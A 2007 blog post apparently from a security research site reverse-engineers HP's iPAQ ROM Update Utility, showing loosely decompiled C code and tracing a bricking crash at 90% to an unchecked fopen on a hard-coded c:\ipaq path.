          &lt;p&gt;&lt;br&gt;Last weekend I tried to re-flash a HP ipaq rw6828 using the latest &lt;a href="http://h20000.www2.hp.com/bizsupport/TechSupport/SoftwareDescription.jsp?lang=en&amp;amp;cc=us&amp;amp;prodTypeId=215348&amp;amp;prodSeriesId=1839223&amp;amp;prodNameId=1839228&amp;amp;swEnvOID=2067&amp;amp;swLang=8&amp;amp;mode=2&amp;amp;taskId=135&amp;amp;swItem=ip-45505-1" target="_blank"&gt;HP iPAQ ROM Update 1.01.03&lt;/a&gt; from HP website. &lt;br&gt;&lt;/p&gt;&lt;br&gt;&lt;p&gt;&lt;img class="image-inline" src="/vnsec/Members/rd/Files/images/hpRUU-install.jpg" alt="hpRUU-install.jpg"&gt;&lt;/p&gt;&lt;p&gt;&lt;br&gt;After about 20 minutes, the ROM flash process crashed at 90% and the phone became dead and was not able to power on any longer (tried different suggested methods to get it boot into the bootloader mode but all failed).&lt;br&gt;&lt;br&gt;I did a quick &lt;a href="http://www.google.com/search?q=ipaq+6828+rom+upgrade+fail+90%25" target="_blank"&gt;google&lt;/a&gt; on "ipaq 6828 ROM update fail 90%" keywords. Quite a lot of people got the same problem. Some were lucky enough to be able to re-flash the phone again as the phone still can boot into bootloader mode. But many other people had to send the phone to HP Service Center to replace the main board.  &lt;br&gt;&lt;br&gt;So I decided to take a look at the HP iPAQ ROM Update Utility binary (&lt;a title="hpRUU.rar" href="/vnsec/Members/rd/Files/misc/hpRUU.rar"&gt;hpRUU.exe - v3.3.2 build 831&lt;/a&gt;) to find out the reason. &lt;br&gt;&lt;/p&gt;&lt;br&gt;&lt;p&gt;&lt;img class="image-inline" src="/vnsec/Members/rd/Files/images/hpRUU.jpg" alt="hpRUU.jpg"&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;It didn't take long to find out that the "90%" problem is caused
by a lame buggy code of the HP iPAQ ROM Update Utility itself.&lt;br&gt;&lt;/p&gt;
&lt;br&gt;&lt;p&gt;&lt;img class="image-inline" src="/vnsec/Members/rd/Files/images/hpRUU-bug01.jpg" alt="hpRUU-bug01.jpg"&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;The buggy code is inside the sub_409DA0() (I renamed it to Client_StartFlash()). Below is the reverse C code snippet of ROM update function (not exactly as the asm code)&lt;br&gt;&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;pre&gt;  1:void sub_409520(int c)&lt;br&gt;  2:{   &lt;br&gt;  3:    DebugLog("odmLib/Client_StartFlash -- Flashing would start here");&lt;br&gt;  4:    hEvent = CreateEventA(0, 0, 0, 0);&lt;br&gt;  5:    dword_425B04 = CreateThread(0, 0, &amp;amp;sub_409DA0, 0, 0, 0);&lt;br&gt;  6:    SetEvent(hEvent);&lt;br&gt;  7:    &lt;br&gt;  8:    DebugLog("odmLib/Client_StartFlash: pReturnCode-&amp;gt;dwError = %d", 65520);&lt;br&gt;  9:}       &lt;br&gt; 10:        &lt;br&gt; 11:#define FLASH_ERROR(fmt, ...)   \&lt;br&gt; 12:{                               \&lt;br&gt; 13:  DebugLog(fmt, ...);           \&lt;br&gt; 14:  IsErrorFlag = 1;              \&lt;br&gt; 15:  pReturnCode_dwError = 401;    \&lt;br&gt; 16:  return;                       \&lt;br&gt; 17:}           &lt;br&gt; 18:        &lt;br&gt; 19:void Client_StartFlash()      //sub_00409DA0()&lt;br&gt; 20:{       &lt;br&gt; 21:    //WORD SelectFile[2];&lt;br&gt; 22:&lt;br&gt; 23:    WaitForSingleObject(hEvent, INFINITE);&lt;br&gt; 24:    DebugLog("DownloadFile: SelectFile = 0x%x TotalFileSize = 0x%x..\r\n",&lt;br&gt; 25:        SelectFile, TotalFileSize);&lt;br&gt; 26:        &lt;br&gt; 27:    if (DeviceInBLMode == -1) {&lt;br&gt; 28:        DebugLog("DownloadFile: DeviceInBLMode has a wrong value!");&lt;br&gt; 29:        IsErrorFlag = 1;&lt;br&gt; 30:        pReturnCode_dwError = 602;&lt;br&gt; 31:        return;&lt;br&gt; 32:    }       &lt;br&gt; 33:            &lt;br&gt; 34:    if (SelectFile[0] &amp;amp; 8) {&lt;br&gt; 35:        DebugLog("DownloadFile: COM_OS ..\r\n");&lt;br&gt; 36:        wsprintfA(StatusBuffer, "Updating the ROM Image ...");&lt;br&gt; 37:        byte_425884 = (DeviceInBLMode != 0) + 17;&lt;br&gt; 38:        memset(_tFilename, 0, 0x64);&lt;br&gt; 39:        pReturnCode_dwExtraInfo = 3;&lt;br&gt; 40:        dHeaderLen = 0;&lt;br&gt; 41:        sub_40A580(3, _tFilename, (int) &amp;amp;dHeaderLen);&lt;br&gt; 42:        DebugLog("DownloadFile: tFilename = %s dHeaderLen = %d\r\n",&lt;br&gt; 43:            &amp;amp;_tFilename, dHeaderLen);&lt;br&gt; 44:        &lt;br&gt; 45:        _hFile = CreateFileA(_tFilename, GENERIC_READ | GENERIC_WRITE, 0, 0,&lt;br&gt; 46:            OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);&lt;br&gt; 47:    &lt;br&gt; 48:        if (_hFile == INVALID_HANDLE_VALUE) {&lt;br&gt; 49:            FLASH_ERROR("Jcs-CreateFile %s fail .. ", _tFilename);&lt;br&gt; 50:        }&lt;br&gt; 51:        &lt;br&gt; 52:        HeaderBuffer = malloc(dHeaderLen);&lt;br&gt; 53:        HeaderBuffer = malloc(dHeaderLen);&lt;br&gt; 54:        ReadFile(_hFile, HeaderBuffer, dHeaderLen, &amp;amp;NumberOfBytesRead, 0);&lt;br&gt; 55:&lt;br&gt; 56:        dFileLen = GetFileSize(_hFile, 0);&lt;br&gt; 57:        dDataLen = dFileLen - dHeaderLen;&lt;br&gt; 58:        DataBuffer = calloc(dFileLen - dHeaderLen, 1);&lt;br&gt; 59:        ReadFile(_hFile, DataBuffer, dDataLen, &amp;amp;NumberOfBytesRead, 0);&lt;br&gt; 60:        free(HeaderBuffer);&lt;br&gt; 61:&lt;br&gt; 62:        ROMDecode(dDataLen, DataBuffer);&lt;br&gt; 63:&lt;br&gt; 64:        if (memcmp(DataBuffer, 'R000ff\n', 7)) {&lt;br&gt; 65:            IsErrorFlag = 1;&lt;br&gt; 66:            pReturnCode_dwError = 401;&lt;br&gt; 67:            DebugLog("Jcs-Warning: The Image is invalid ... ");&lt;br&gt; 68:            wsprintfA(StatusBuffer, "Warning: The Image is invalid ...");&lt;br&gt; 69:            return;&lt;br&gt; 70:        }&lt;br&gt; 71:&lt;br&gt; 72:        if (!bDownLoadThrUSB(DataBuffer, dDataLen, dword_425B20,&lt;br&gt; 73:            SelectFile)) {&lt;br&gt; 74:            IsErrorFlag = 1;&lt;br&gt; 75:            pReturnCode_dwError = 503;&lt;br&gt; 76:            return;&lt;br&gt; 77:        }&lt;br&gt; 78:        free(DataBuffer);&lt;br&gt; 79:        CloseHandle(_hFile);&lt;br&gt; 80:    }&lt;br&gt; 81:&lt;br&gt; 82:    if (SelectFile[0] &amp;amp; 4) {&lt;br&gt; 83:        DebugLog("DownloadFile: COM_BL ..\r\n");&lt;br&gt; 84:        wsprintfA(StatusBuffer, "Updating the Bootloader ...");&lt;br&gt; 85:        dHeaderLen = 0;&lt;br&gt; 86:        memset(_tFilename, 0, 0x64);&lt;br&gt; 87:        pReturnCode_dwExtraInfo = 2;&lt;br&gt; 88:        byte_425884 = 2;&lt;br&gt; 89:        sub_40A580(2, _tFilename, (int) &amp;amp;dHeaderLen);&lt;br&gt; 90:        DebugLog("DownloadFile: tFilename = %s dHeaderLen = %d\r\n", _tFilename, dHeaderLen);&lt;br&gt; 91:        _hFile = CreateFileA(_tFilename, GENERIC_READ | GENERIC_WRITE, 0, 0,&lt;br&gt; 92:            OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);&lt;br&gt; 93:&lt;br&gt; 94:        if (_hFile == INVALID_HANDLE_VALUE) {&lt;br&gt; 95:            FLASH_ERROR("Jcs-CreateFile %s fail .. ", _tFilename);&lt;br&gt; 96:        }&lt;br&gt; 97:        HeaderBuffer = malloc(dHeaderLen);&lt;br&gt; 98:        ReadFile(_hFile, HeaderBuffer, dHeaderLen, &amp;amp;NumberOfBytesRead, 0);&lt;br&gt; 99:        dFileLen = GetFileSize(_hFile, 0);&lt;br&gt;100:        dDataLen = dFileLen - dHeaderLen;&lt;br&gt;101:        DataBuffer = calloc(dFileLen - dHeaderLen, 1);&lt;br&gt;102:&lt;br&gt;103:        ReadFile(_hFile, DataBuffer, dDataLen, &amp;amp;NumberOfBytesRead, 0);&lt;br&gt;104:        free(HeaderBuffer);&lt;br&gt;105:        ReadFile(_hFile, DataBuffer, dDataLen, &amp;amp;NumberOfBytesRead, 0);&lt;br&gt;106:        free(HeaderBuffer);&lt;br&gt;107:        &lt;br&gt;108:        ROMDecode(dDataLen, DataBuffer);&lt;br&gt;109:        &lt;br&gt;110:        FILE = fopen("c:\\ipaq\\downloadEboot.txt", "wb");&lt;br&gt;111:        fwrite(DataBuffer, 1, dDataLen, FILE);&lt;br&gt;112:        fclose(FILE);&lt;br&gt;113:        &lt;br&gt;114:        if (!bDownLoadThrUSB(DataBuffer, dDataLen, dword_425B20,&lt;br&gt;115:            SelectFile)) {&lt;br&gt;116:            IsErrorFlag = 1;&lt;br&gt;117:            pReturnCode_dwError = 503;&lt;br&gt;118:            return;&lt;br&gt;119:        }   &lt;br&gt;120:        free(DataBuffer);&lt;br&gt;121:        CloseHandle(_hFile);&lt;br&gt;122:    }       &lt;br&gt;123:    if (!bDownLoadThrUSB(&amp;amp;unk_4253F0, 0x80, 0, SelectFile)) {&lt;br&gt;124:        IsErrorFlag = 1;&lt;br&gt;125:        pReturnCode_dwError = 401;&lt;br&gt;126:        DebugLog("Jcs-Download version infomation to device fail ..");&lt;br&gt;127:        return;&lt;br&gt;128:    }       &lt;br&gt;129:            &lt;br&gt;130:    dTmp = SelectFile[1];&lt;br&gt;131:    if (SelectFile[0] &amp;amp; 0x20) {&lt;br&gt;132:        DebugLog("DownloadFile: COM_FS ..\r\n");&lt;br&gt;133:        dTmp = SelectFile[1];&lt;br&gt;134:    }&lt;br&gt;135:    &lt;br&gt;136:    if (dTmp &amp;amp; 0x80 &amp;amp;&amp;amp; dTmp &amp;amp; 0x20) {&lt;br&gt;137:        DebugLog("DownloadFile: COM_WANOS + COM_WANBL ..\r\n");&lt;br&gt;138:        wsprintfA(StatusBuffer, "Updating the Radio Stack ...");&lt;br&gt;139:        dHeaderLen = 0;&lt;br&gt;140:        memset(_tFilename, 0, 0x64);&lt;br&gt;141:        pReturnCode_dwExtraInfo = 15;&lt;br&gt;142:        byte_425884 = 4;&lt;br&gt;143:        sub_40A580(13, _tFilename, (int) &amp;amp;dHeaderLen);&lt;br&gt;144:        DebugLog("DownloadFile: tFilename = %s dHeaderLen = %d\r\n",&lt;br&gt;145:            _tFilename, dHeaderLen);&lt;br&gt;146:&lt;br&gt;147:        _hFile = CreateFileA(_tFilename, GENERIC_READ | GENERIC_WRITE, 0, 0,&lt;br&gt;148:            OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); &lt;br&gt;149:        &lt;br&gt;150:        if (_hFile == INVALID_HANDLE_VALUE) {&lt;br&gt;151:            FLASH_ERROR("Jcs-CreateFile %s fail .. ", _tFilename);&lt;br&gt;152:        }&lt;br&gt;153:        &lt;br&gt;154:        HeaderBuffer = malloc(dHeaderLen);&lt;br&gt;155:        ReadFile(_hFile, HeaderBuffer, dHeaderLen, &amp;amp;NumberOfBytesRead, 0);&lt;br&gt;156:        dFileLen = GetFileSize(_hFile, 0);&lt;br&gt;157:        dDataLen = dFileLen - dHeaderLen;&lt;br&gt;158:        dFileLen = GetFileSize(_hFile, 0);&lt;br&gt;159:        dDataLen = dFileLen - dHeaderLen;&lt;br&gt;160:&lt;br&gt;161:        DataBuffer = calloc(dDataLen, 1);&lt;br&gt;162:        dword_425B1C = DataBuffer;&lt;br&gt;163:        ReadFile(_hFile, DataBuffer, dDataLen, &amp;amp;NumberOfBytesRead, 0);&lt;br&gt;164:        free(HeaderBuffer);&lt;br&gt;165:        CloseHandle(_hFile);&lt;br&gt;166:&lt;br&gt;167:        memset(_tFilename, 0, 0x64)&lt;br&gt;168:            sub_40A580(15, _tFilename, (int) &amp;amp;dHeaderLen)&lt;br&gt;169:            DebugLog ("DownloadFile: tFilename = %s dHeaderLen = %d\r\n",&lt;br&gt;170:            &amp;amp;_tFilename, dHeaderLen)&lt;br&gt;171:&lt;br&gt;172:            _hFile = CreateFileA(_tFilename, GENERIC_READ | GENERIC_WRITE, 0, 0,&lt;br&gt;173:            OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);&lt;br&gt;174:&lt;br&gt;175:        if (_hFile == INVALID_HANDLE_VALUE) {&lt;br&gt;176:            FLASH_ERROR("Jcs-CreateFile %s fail .. ", _tFilename);&lt;br&gt;177:        }&lt;br&gt;178:&lt;br&gt;179:        HeaderBuffer = malloc(dHeaderLen);&lt;br&gt;180:        ReadFile(_hFile, HeaderBuffer, dHeaderLen, &amp;amp;NumberOfBytesRead, 0);&lt;br&gt;181:        dDataLen = GetFileSize(_hFile, 0) - dHeaderLen;&lt;br&gt;182:        dword_425B84 = dDataLen;&lt;br&gt;183:&lt;br&gt;184:        DataBuffer = calloc(dDataLen, 1);&lt;br&gt;185:        dword_425B10 = DataBuffer;&lt;br&gt;186:        ReadFile(_hFile, DataBuffer, dDataLen, &amp;amp;NumberOfBytesRead, 0);&lt;br&gt;187:&lt;br&gt;188:        free(HeaderBuffer);&lt;br&gt;189:        CloseHandle(_hFile);&lt;br&gt;190:&lt;br&gt;191:        DataBuffer = calloc(dDataLen + nNumberOfBytesToRead + 88, 1);&lt;br&gt;192:        szBuffer = _msize(DataBuffer);&lt;br&gt;193:        memset(DataBuffer, -1, szBuffer);&lt;br&gt;194:&lt;br&gt;195:        if (sub_40A5E0()) {&lt;br&gt;196:            if (sub_40A770()) {&lt;br&gt;197:                if (sub_40A8F0()) {&lt;br&gt;198:                    ROMDecode(Count, DataBuffer);&lt;br&gt;199:                    if (DataBuffer) {&lt;br&gt;200:                        FILE = fopen ("c:\\ipaq\\downloadMot.txt", "wb");&lt;br&gt;201:                        fwrite(DataBuffer, 1, Count, FILE);&lt;br&gt;202:                        fclose(FILE);&lt;br&gt;203:                        if (bDownLoadThrUSB(DataBuffer, Count, dword_425B20, SelectFile)) {&lt;br&gt;204:                            if (sub_40B270()) {&lt;br&gt;205:                                free(DataBuffer);&lt;br&gt;206:                                free(dword_425B10);&lt;br&gt;207:                                free(dword_425B1C);&lt;br&gt;208:                                dword_425F58 = 1;&lt;br&gt;209:                            } else {&lt;br&gt;210:                                IsErrorFlag = 1;&lt;br&gt;211:                            } else {&lt;br&gt;212:                                IsErrorFlag = 1;&lt;br&gt;213:                                pReturnCode_dwError = 401;&lt;br&gt;214:                                DebugLog ("Jcs-bGetMOTBurnStatus fail ..");&lt;br&gt;215:                            }&lt;br&gt;216:                        } else {&lt;br&gt;217:                            IsErrorFlag = 1;&lt;br&gt;218:                            pReturnCode_dwError = 401;&lt;br&gt;219:                            DebugLog ("Jcs-Download Mot fail ..");&lt;br&gt;220:                        }&lt;br&gt;221:                    } else {&lt;br&gt;222:                        IsErrorFlag = 1;&lt;br&gt;223:                        pReturnCode_dwError = 401;&lt;br&gt;224:                        DebugLog ("Jcs-(pMOTBuf==NULL) fail ..");&lt;br&gt;225:                    }&lt;br&gt;226:                } else {&lt;br&gt;227:                    IsErrorFlag = 1;&lt;br&gt;228:                    pReturnCode_dwError = 401;&lt;br&gt;229:                    DebugLog("Jcs-PrepareMOTData fail ..");&lt;br&gt;230:                }&lt;br&gt;231:            } else {&lt;br&gt;232:                IsErrorFlag = 1;&lt;br&gt;233:                pReturnCode_dwError = 401;&lt;br&gt;234:                DebugLog("Jcs-PrepareMOTAgent fail ..");&lt;br&gt;235:            }&lt;br&gt;236:        } else {&lt;br&gt;237:            IsErrorFlag = 1;&lt;br&gt;238:            pReturnCode_dwError = 401;&lt;br&gt;239:            DebugLog("Jcs-PrepareMOTPara fail ..");&lt;br&gt;240:        }&lt;br&gt;241:    } else {&lt;br&gt;242:        dword_425F58 = 1;&lt;br&gt;243:    }&lt;br&gt;244:}&lt;br&gt;245:&lt;br&gt;&lt;br&gt;&lt;/pre&gt;&lt;p&gt;&lt;br&gt;The codes at line 100-&amp;gt;102 and 200-&amp;gt;202 inside Client_StartFlash() function try to write the 'decrypted' EBOOT and MOT ROMs data to hard-coded file locations at c:\ipaq\downloadMot.txt and c:\ipaq\downloadEboot.txt. It doesn't check whether the fopen()
return a successful FILE pointer or not before writing the content. &lt;br&gt;&lt;/p&gt;&lt;p&gt;So, If you install the ROM upgrade program in a different location (in my case, i installed it in d:\tmp\ipaq) instead of default location (c:\ipaq), the update program will get crashed at 90%. This stupid error had killed many ipaq and many people had to spend their time and money for the service &amp;amp; mainboard replacement since the update had been released by HP for almost a year. The HP developer who wrote this code should go back to college to learn how to code properly.  &lt;br&gt;&lt;/p&gt;&lt;p&gt;&lt;br&gt;After knowing the problem, I sent the ipaq to HP Service Center a day after and got the mainboard replaced. After few hours of waiting, complaining and giving live proof of the bug to HP technical guy, I did not need to pay for mainboard replacement cost :). The technical guy was a nice guy. He even brought me inside HP technical service center for re-flashing few ipaqs to reproduce the problem. However, the experience with the girl at HP Customer Service Center was kind of bad though.&lt;/p&gt;&lt;b&gt;&lt;br&gt;&lt;/b&gt;&lt;p&gt;&lt;b&gt;Links:&lt;/b&gt;&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;a href="http://h20000.www2.hp.com/bizsupport/TechSupport/SoftwareDescription.jsp?lang=en&amp;amp;cc=us&amp;amp;prodTypeId=215348&amp;amp;prodSeriesId=1839223&amp;amp;prodNameId=1839228&amp;amp;swEnvOID=2067&amp;amp;swLang=8&amp;amp;mode=2&amp;amp;taskId=135&amp;amp;swItem=ip-45505-1" target="_blank"&gt;HP iPAQ ROM Update 1.01.03&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a title="hpRUU.rar" href="/vnsec/Members/rd/Files/misc/hpRUU.rar"&gt;hpRUU.exe - v3.3.2 Build 831&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;
          ]]>
      </atom:content>

      <atom:author>
        <atom:name>rd</atom:name>
      </atom:author>

      <atom:published>2007-10-29T18:29:51+00:00</atom:published>

      <atom:updated>2007-10-30T05:58:47+00:00</atom:updated>

      
        <atom:category term="Reverse Engineering"/>
      
      
        <atom:category term="Vulnerabilities"/>
      

    </atom:entry>

  

</atom:feed>
